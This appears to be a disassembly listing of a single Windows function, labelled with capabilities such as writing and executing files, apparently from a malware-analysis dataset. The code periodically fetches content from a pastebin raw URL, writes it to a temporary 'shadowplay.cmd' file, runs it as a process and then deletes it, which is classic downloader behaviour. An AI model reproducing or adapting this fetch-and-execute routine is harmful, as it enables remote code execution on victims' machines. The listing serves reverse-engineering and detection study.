Function at 0x140017d10
Capabilities:
Create process on windows
Delete file
Get common file path
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x110]
sub rsp, 0x210
mov rax, qword [0x14007c040]
xor rax, rsp
mov qword [rbp + 0x100], rax
mov ecx, 0x1d4c0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14007eae0]
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
call fcn.140017730
lea rcx, [0x14007eae0]
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
xor r14d, r14d
lea r15, [0x14007e3c0]
nop dword [rax + rax]
lea rcx, [0x14007eae0]
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
cmp dword [0x14007eaec], r14d
jne 0x140017db9
call fcn.140017730
test eax, eax
je 0x140017db9
lea rcx, [0x14007eae0]
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov ecx, 0x1b7740
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140017d80
lea rcx, [0x14007eae0]
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
lea rcx, [rsp + 0x50]
call fcn.14005be90
test eax, eax
jne 0x14001800c
mov rdi, qword [rsp + 0x50]
test rdi, rdi
je 0x14001800c
lea r8, str.https:__pastebin.com_raw_PhYdj1JS
mov edx, 0x2712
mov rcx, rdi
call fcn.14004cdc0
lea r8, [0x140017b30]
mov edx, 0x4e2b
mov rcx, rdi
call fcn.14004cdc0
mov rcx, rdi
call fcn.1400177c0
test eax, eax
jne 0x140017fce
xor edx, edx
lea rcx, [rbp - 0x10]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp - 0x10]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x140017e4a
lea ecx, [rax - 1]
jmp 0x140017fd3
lea r8, str.shadowplay.cmd
mov edx, 0x104
lea rcx, [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
xor r9d, r9d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], Ordinal_133
lea rcx, [rbp - 0x10]
mov edx, 0xc0000000
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
test rax, rax
jne 0x140017e9b
lea ecx, [rax - 2]
jmp 0x140017fd3
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
lea r9, [rsp + 0x78]
mov r8d, dword [0x14007e3d0]
mov rdx, r15
cmova rdx, qword [0x14007e3c0]
mov rcx, rsi
mov dword [rsp + 0x78], r14d
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140017ee3
mov eax, dword [rsp + 0x78]
mov ebx, 1
cmp rax, qword [0x14007e3d0]
je 0x140017ee6
mov ebx, r14d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x140017fb8
xorps xmm0, xmm0
mov dword [rbp - 0x80], 0x68
xor eax, eax
lea rcx, [rbp - 0x10]
mov dword [rbp - 0x1c], eax
xor r9d, r9d
mov qword [rsp + 0x70], rax
xor r8d, r8d
lea rax, [rsp + 0x60]
xor edx, edx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rsp + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140017fa2
mov ecx, dword [0x14007e3d0]
call fcn.140017bc0
mov rcx, qword [rsp + 0x60]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x140017fd8
mov ecx, 0xfffffffd
call fcn.140017bc0
lea rcx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x140017fd8
mov ecx, 0xfffffffc
call fcn.140017bc0
lea rcx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x140017fd8
mov ecx, 0xfffffffb
call fcn.140017bc0
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
mov rax, r15
mov qword [0x14007e3d0], r14
cmova rax, qword [0x14007e3c0]
mov qword [rsp + 0x58], rdi
mov byte [rax], r14b
cmp dword [rdi], 0xc0dedbad
jne 0x14001800c
lea rcx, [rsp + 0x58]
call fcn.14005b380
mov ecx, 0x1b7740
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140017d80